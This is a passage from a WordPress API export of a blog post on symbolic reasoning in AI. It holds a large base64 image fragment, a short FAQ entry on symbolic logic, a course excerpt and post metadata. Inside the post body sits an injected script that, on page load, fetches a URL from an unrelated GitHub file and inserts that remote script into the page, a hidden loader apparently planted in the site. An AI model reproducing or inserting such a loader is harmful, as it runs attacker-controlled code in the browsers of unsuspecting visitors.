jPPPftXpT0b0v4jbPrLUem+tdqtWodBIQ8LVdfNSJ7rW4eWl9sYQrKCsrJAwcYzXjxddOah0lPfvTM6UZrri3zeAVBcX1UsEchw5O0jgHnPeueoPE14g73Z16eldZ9ZuWXy0sCMu8OncnGNqlZ3KOO+SQc0skykXfRaEu3aHsH5QlqzdNGW0acZ15FbisRlAtNgvILjbZScbA4VpGDgdhxWzPyiPic6j+HPU2kbZ02aYtjV6iPvyROjJeKlIWBx73Hc15faFZcsT7ermbk8xcbfMS5CUwsocQ8AT5qVDthW0\/aKtXV\/US9dTIEca2ud+1Q5CbKEO3B9UxTZVycKI9zkds+h44pXyMuDcn5Rud9IeD3RWoXLe81On3K2SHnVJwhbi4ziiQMnHvE15RvxlOKAycAYAzxVm6s6odStQ2xWldWa91HfbTFxIhwJ81x1lohO1shtR2goBXj8KrprK2UqJye2TWrgbWjcf5KDqjprTvVXVWg9aSsyNVwo6rY4tYR50mOpQ8oEkDJQvIHc7TVht\/kw9Tam8SOrNXdR1lnp1cJU64Q37dKSJ5W86p1AKFJKUbStQJJPAyK84Ld57V2YcivrYW28lwONqKVIxzuBHIIznIq67X1y676rtP5v3rq\/ribaire3FbvjmEoB91Cgk7intkKyDisckuwUXJ8Dnf4nTDo34sHF9KrpLu2nNFXmK6t2W8lx59xnyy+UqQACASpA+aD6c1v7xbeHu8eK+y6G170NMOQ1HafQsyZQS2th8tqC0qBVykowUnn4V5S6DjqVfrqtwqWT5vvL5Kv0ncn1Jq59HdS+qWg2lw9F691DZY731mIU5xton47Adufn3qsVashOXucTZ\/jSuel+kXhe0p0CbJe1Gti3Q15UMhiKkFx7YFHaFKQkDPPPyrj+TfuFgvfSrW\/T5Tanr49KdkMtJWAryXY4bC8FQyAoc47ViC6v3zUtwevGobrMuU59W5yTLkLedUfmpZJP2V+2h696antXfT13m22cwf0cmG+pl1H2KSQfureKozm7o9FvCD0K1J4XNMa7vvWuLGiQZLzUll2PLSptthlK9zi1EpxnIwnk8VjjwkyY138X+n7i1Gdfjz7vOkJbHClIWl5QHPyIqF6w6mdVddQ\/o7WvUXUV6howRHmXB1xvI+KM4P3iotY7lfNLXRq+aZuc22XBgksyorym3myRglK0kEcEjg0RjaMlLr8HrhM632GyeJZroTfdOGOxdbMiZbJBeIeclEkllQKsYKUkp+YxXnr43dG600f16vC9Wzp82NcwmXaZUhICvY8YS1gcDYQU4HfAPc1V1x1trq96gjarvOr7xNvUMpMe4PS3FyWtvKdrhO4Yycc+tfmqtZa21utlzWOrrvfVxgQyu4THJBaB7hJWTjPHatWNoyeRSVG6um\/RnXOm+jdm1r4Sdb3O+P3NbEmTZr3JZVbjlP6ZKQn3m1hXpweD60u8eFlssrw1We8dSdMwbT1AbdiJZXHdCwH1f3dppSjvU3jJ7Y4rBGkOoPUbp86t3Q2ub3YS4SViDNcZSv5lKTgn5kV8ak1PrTXtwTc9a6pul8loGEuz5a31I+Q3E7fsFLpTs3bZUb2\/JwQXZHQjVoiW1+RON3eTFU2rCUOmOnbuyR649DUR61dLfG9feml8a6lu6Wc01DY+kJoYcSHQ2wQ4CMIzu90VlDSuueo+joblv0frm\/WaM6vzXGIE92OhS8YKiEEAnA796eZfVbrHdIb9uuvU\/VUuHKbU0+w9d31odQRgpUkqwQfUHvQl7rs13rVEAZSkjtj\/AH0oSBnNdlxig818ABPBxXRGjmaaP0V+OK4+6v3iubx4phGcFqrg6sCvtaqSvK4NJJ0NGLYllP4B5pklO5J+2nCWSc01upyeTSXZZRo\/W3uRk0sacQR86b0tUoaQR2JpHCyqyULtqVAfM4rU+iQBoywjb2tkX+qTWUApSQRuNaq0QonRdgPP\/JcX+qTWaP4FeQ86lanvKhgzM\/5tH7q4LvVyc5XJH9BP7qQ0VLZlqSFgu08f98D+gP3V9C93JPCZIx\/gJ\/dSGijZhQ6tanvTJ\/RzMf5tP7q7fnpqP\/tH\/Uo\/dTJRW7y+w1Q8q1fqBzhdwz\/mkfur5Gqr5\/49\/qkfw00UUbP7CkOx1TfP\/Hv9Uj91faNX6gb+pOSP8yj+Gmais2YUh8GtNSD\/AKRH3Mt\/w19J1zqdByi54\/zLf8NMNFGzCkSIdQdWp4F1GP8AzDf8Nff9kTV3\/aqf9Hb\/AIajVFFsKRJD1D1arg3UYP8AeG\/4ae7R126nWFgR7TqFmOkDblNujFRHzUWyTUAoo2YUiwG+vHVBqQ7KRqJoOPL8xz\/7PjEFXxwW8A12f8QfVeQ4p5zUzalqQEEm3Re3\/s6rmijZmax+id\/2bupRznUKee+YTHP\/ALlR26asvN4k+3TX4\/nhO3c1Faa3D5hCQD99M1FDbZqVdDyzqy+x0IabnJ8tCy4EqZQobj6kEHNLm+o2rW2Wo6LqlLbC1LbSmM0AkknP6vP1jwfifjUYorDU6H9rXGo2n3pCZzRcfTtXujNKSR8MFOPWkZ1DdCSRJQnPcJZQkfgBgU2UUWbY6J1HdkOKeRMwtQIJ8tPYjB9PhX5+cV3zkTlJOMZShKT2+QpsoofIbNEhh671RAkrlRLmEOLSEKJYbPug5wAU4FLk9WNeJ+rfUjHb+1Wf4KiFFbbXAtK7JonrF1DRyL6nP+JsfwV+q6ydRFDBvqR9kNj+CoVRRbNJirq3r9zld9Tn\/FGf4K5\/2VNcnk3pJP8AirP8FRKihSaMcUyW\/wBlTXP\/AG0n\/RWf4KP7KeuPW9j7orP8NRKit3ZmkSWf2Utb5\/5aH3xWf4a+0dWNeN8t3xI\/9UZ\/gqIUUbM1RSJqnrL1FT2v6eP\/ACNj+Cun9mvqT\/8AmJP3Qo\/8FQaistmk1X1j6iL5VqAHP\/kjH8FcT1Z18Tk31P8AorP8FRCitUmhdU+yX\/2WNe\/9up\/0Vn+Cvk9Vddng33I\/xZn+GolRRvL7DSP0Ss9UNbH\/AKa\/\/rM\/w18HqXrRXe8g\/wDq7X8NReijZmqKRJFdQ9Xr5VdwT\/i7X8NczrzVJ5NyTn\/F2\/4aj9FZswpEgGvdUj\/pNI\/zDf8ADX7+f2qv+1B\/7Bv+Go9RRsw1RIjr3VRGPpXH2MN\/w1LIHiO6t22DHt0PVflsRWkMtI9hYO1CQAB9X4AVWNFGzM0QUUUVgwUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAf\/9k=\" width=\"307px\" alt=\"symbolic reasoning in ai\"\/><\/p>\n<p><p>Read more about <a href=\"https:\/\/www.metadialog.com\/\">https:\/\/www.metadialog.com\/<\/a> here.<\/p>\n<\/p>\n<div itemScope itemProp=\"mainEntity\" itemType=\"https:\/\/schema.org\/Question\">\n<div itemProp=\"name\">\n<h2>What is symbolic reasoning in math?<\/h2>\n<\/div>\n<div itemScope itemProp=\"acceptedAnswer\" itemType=\"https:\/\/schema.org\/Answer\">\n<div itemProp=\"text\">\n<p>Logic is the study of the rules which underlie plausible reasoning in mathematics , science, law, and other discliplines. Symbolic logic is a system for expressing logical rules in an abstract, easily manipulated form.<\/p>\n<\/div><\/div>\n<\/div>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>COMP_SCI 496: AI Perspectives: Symbolic Reasoning to Deep Learning Computer Science Northwestern Engineering As you can easily imagine, this is a very heavy and time-consuming job as there are many many ways of asking or formulating the same question. Since its foundation as an academic discipline in 1955, Artificial Intelligence (AI) research field has been [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[437],"tags":[],"class_list":["post-4559","post","type-post","status-publish","format-standard","hentry","category-artificial-intelligence"],"_links":{"self":[{"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/posts\/4559"}],"collection":[{"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.2megy.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4559"}],"version-history":[{"count":2,"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/posts\/4559\/revisions"}],"predecessor-version":[{"id":4613,"href":"https:\/\/www.2megy.com\/index.php?rest_route=\/wp\/v2\/posts\/4559\/revisions\/4613"}],"wp:attachment":[{"href":"https:\/\/www.2megy.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4559"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.2megy.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4559"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.2megy.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4559"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}